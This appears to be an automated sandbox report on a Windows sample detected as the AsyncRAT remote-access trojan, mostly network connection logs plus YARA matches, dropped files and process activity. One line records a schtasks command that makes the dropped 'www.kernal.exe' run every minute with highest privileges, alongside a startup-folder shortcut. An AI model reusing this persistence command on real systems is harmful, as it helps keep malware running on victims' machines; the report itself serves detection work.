Source: unknown	Network traffic detected: HTTP traffic on port 54910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54904
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54903
Source: unknown	Network traffic detected: HTTP traffic on port 54942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54902
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54901
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54908
Source: unknown	Network traffic detected: HTTP traffic on port 54921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54905
Source: unknown	Network traffic detected: HTTP traffic on port 54850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54893 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54900
Source: unknown	Network traffic detected: HTTP traffic on port 54988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54953 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54909
Source: unknown	Network traffic detected: HTTP traffic on port 54999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54882 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54910
Source: unknown	Network traffic detected: HTTP traffic on port 54871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54954 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54931 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54804
Source: unknown	Network traffic detected: HTTP traffic on port 54860 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54924
Source: unknown	Network traffic detected: HTTP traffic on port 54965 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54923
Source: unknown	Network traffic detected: HTTP traffic on port 54778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54927
Source: unknown	Network traffic detected: HTTP traffic on port 55022 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54922
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54920
Source: unknown	Network traffic detected: HTTP traffic on port 54894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54779
Source: unknown	Network traffic detected: HTTP traffic on port 54819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54897
Source: unknown	Network traffic detected: HTTP traffic on port 54763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54780
Source: unknown	Network traffic detected: HTTP traffic on port 54889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54785
Source: unknown	Network traffic detected: HTTP traffic on port 54911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54784
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54788
Source: unknown	Network traffic detected: HTTP traffic on port 54854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54787
Source: unknown	Network traffic detected: HTTP traffic on port 54981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54791
Source: unknown	Network traffic detected: HTTP traffic on port 54957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54797
Source: unknown	Network traffic detected: HTTP traffic on port 54890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54795
Source: unknown	Network traffic detected: HTTP traffic on port 54878 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54794
Source: unknown	Network traffic detected: HTTP traffic on port 55023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54798
Source: unknown	Network traffic detected: HTTP traffic on port 54980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54935 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54969 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54859
Source: unknown	Network traffic detected: HTTP traffic on port 54991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54852
Source: unknown	Network traffic detected: HTTP traffic on port 54853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54972
Source: unknown	Network traffic detected: HTTP traffic on port 54830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54971
Source: unknown	Network traffic detected: HTTP traffic on port 55009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54970
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54977
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54974
Source: unknown	Network traffic detected: HTTP traffic on port 54956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54980
Source: unknown	Network traffic detected: HTTP traffic on port 54979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54981
Source: unknown	Network traffic detected: HTTP traffic on port 55024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54987
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54990
Source: unknown	Network traffic detected: HTTP traffic on port 54787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54901 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54874
Source: unknown	Network traffic detected: HTTP traffic on port 54912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54873
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54876
Source: unknown	Network traffic detected: HTTP traffic on port 54968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54996
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54880
Source: unknown	Network traffic detected: HTTP traffic on port 54841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54868 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54769
Source: unknown	Network traffic detected: HTTP traffic on port 54923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54763
Source: unknown	Network traffic detected: HTTP traffic on port 54852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54889
Source: unknown	Network traffic detected: HTTP traffic on port 54818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54887
Source: unknown	Network traffic detected: HTTP traffic on port 54891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54886
Source: unknown	Network traffic detected: HTTP traffic on port 54764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54892
Source: unknown	Network traffic detected: HTTP traffic on port 55008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 54890
Source: unknown	Network traffic detected: HTTP traffic on port 54829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55002
Source: unknown	Network traffic detected: HTTP traffic on port 54926 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55000
Source: unknown	Network traffic detected: HTTP traffic on port 54794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55006
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55005
Source: unknown	Network traffic detected: HTTP traffic on port 54949 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55004
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55003
Source: unknown	Network traffic detected: HTTP traffic on port 54983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55007
Source: unknown	Network traffic detected: HTTP traffic on port 54822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55007 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55013
Source: unknown	Network traffic detected: HTTP traffic on port 55026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55012
Source: unknown	Network traffic detected: HTTP traffic on port 54950 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55010
Source: unknown	Network traffic detected: HTTP traffic on port 54887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 55018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54913 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54961 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55015
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55014
Source: unknown	Network traffic detected: HTTP traffic on port 54856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55020
Source: unknown	Network traffic detected: HTTP traffic on port 54898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55023
Source: unknown	Network traffic detected: HTTP traffic on port 54800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 55021
Source: unknown	Network traffic detected: HTTP traffic on port 54771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54947 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54904 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 54971 -> 443

Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.6:54801 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: s8Z4L8DY65.exe, type: SAMPLE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.0.s8Z4L8DY65.exe.100000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000000.2188465992.0000000000102000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000000.00000002.4641687887.000000000242C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\ProgramData\www.kernal.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Code function: 0_2_00007FFD34671095	0_2_00007FFD34671095
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Code function: 0_2_00007FFD34672529	0_2_00007FFD34672529
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Code function: 0_2_00007FFD346735BA	0_2_00007FFD346735BA
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Code function: 0_2_00007FFD34671C2D	0_2_00007FFD34671C2D
Source: C:\ProgramData\www.kernal.exe	Code function: 4_2_00007FFD34671C2D	4_2_00007FFD34671C2D
Source: C:\ProgramData\www.kernal.exe	Code function: 4_2_00007FFD34670E80	4_2_00007FFD34670E80
Source: C:\ProgramData\www.kernal.exe	Code function: 5_2_00007FFD34661C2D	5_2_00007FFD34661C2D
Source: C:\ProgramData\www.kernal.exe	Code function: 5_2_00007FFD34660E80	5_2_00007FFD34660E80
Source: C:\ProgramData\www.kernal.exe	Code function: 9_2_00007FFD34691C2D	9_2_00007FFD34691C2D
Source: C:\ProgramData\www.kernal.exe	Code function: 9_2_00007FFD34690E80	9_2_00007FFD34690E80
Source: C:\ProgramData\www.kernal.exe	Code function: 12_2_00007FFD34691C2D	12_2_00007FFD34691C2D
Source: C:\ProgramData\www.kernal.exe	Code function: 12_2_00007FFD34690E80	12_2_00007FFD34690E80
Source: C:\ProgramData\www.kernal.exe	Code function: 13_2_00007FFD34691C2D	13_2_00007FFD34691C2D
Source: C:\ProgramData\www.kernal.exe	Code function: 13_2_00007FFD34690E80	13_2_00007FFD34690E80
Source: C:\ProgramData\www.kernal.exe	Code function: 14_2_00007FFD34671C2D	14_2_00007FFD34671C2D
Source: C:\ProgramData\www.kernal.exe	Code function: 14_2_00007FFD34670E80	14_2_00007FFD34670E80
Source: C:\ProgramData\www.kernal.exe	Code function: 15_2_00007FFD34661C2D	15_2_00007FFD34661C2D
Source: C:\ProgramData\www.kernal.exe	Code function: 15_2_00007FFD34660E80	15_2_00007FFD34660E80

Source: s8Z4L8DY65.exe, 00000000.00000002.4641687887.000000000242C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamewww.DeadSec00101941013dac01.exe4 vs s8Z4L8DY65.exe
Source: s8Z4L8DY65.exe, 00000000.00000000.2188465992.0000000000102000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamewww.DeadSec00101941013dac01.exe4 vs s8Z4L8DY65.exe
Source: s8Z4L8DY65.exe	Binary or memory string: OriginalFilenamewww.DeadSec00101941013dac01.exe4 vs s8Z4L8DY65.exe

Source: s8Z4L8DY65.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: s8Z4L8DY65.exe, type: SAMPLE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.0.s8Z4L8DY65.exe.100000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000000.2188465992.0000000000102000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000000.00000002.4641687887.000000000242C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: C:\ProgramData\www.kernal.exe, type: DROPPED	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT

Source: s8Z4L8DY65.exe, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: s8Z4L8DY65.exe, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: s8Z4L8DY65.exe, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: www.kernal.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: www.kernal.exe.0.dr, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: www.kernal.exe.0.dr, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: www.kernal.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: www.kernal.exe.0.dr, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: 0.2.s8Z4L8DY65.exe.2434df0.0.raw.unpack, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()
Source: s8Z4L8DY65.exe, ClientSocket.cs	Security API names: System.Security.Principal.WindowsPrincipal.IsInRole(System.Security.Principal.WindowsBuiltInRole)
Source: s8Z4L8DY65.exe, ClientSocket.cs	Security API names: System.Security.Principal.WindowsIdentity.GetCurrent()

Source: classification engine

Classification label: mal100.troj.evad.winEXE@11/3@2/2

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\www.kernal.lnk

Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Mutant created: \Sessions\1\BaseNamedObjects\gcnoKtZADXWp39Ge
Source: C:\ProgramData\www.kernal.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1864:120:WilError_03

Source: s8Z4L8DY65.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: s8Z4L8DY65.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: s8Z4L8DY65.exe

ReversingLabs: Detection: 81%

Source: C:\Users\user\Desktop\s8Z4L8DY65.exe

File read: C:\Users\user\Desktop\s8Z4L8DY65.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\s8Z4L8DY65.exe "C:\Users\user\Desktop\s8Z4L8DY65.exe"
Source: C:\Users\user\Desktop\s8Z4L8DY65.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "www.kernal" /tr "C:\ProgramData\www.kernal.exe"
Source: C:\Windows\System32\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\ProgramData\www.kernal.exe C:\ProgramData\www.kernal.exe
Source: unknown	Process created: C:\ProgramData\www.kernal.exe "C:\ProgramData\www.kernal.exe"
Source: unknown	Process created: C:\ProgramData\www.kernal.exe "C:\ProgramData\www.kernal.exe"
Source: unknown	Process created: C:\ProgramData\www.kernal.exe C:\ProgramData\www.kernal.exe
Source: unknown	Process created: C:\ProgramData\www.kernal.exe C:\ProgramData\www.kernal.exe
Source: unknown	Process created: C:\ProgramData\www.kernal.exe C:\ProgramData\www.kernal.exe
Source: unknown	Process created: C:\ProgramData\www.kernal.exe C:\ProgramData\www.kernal.exe
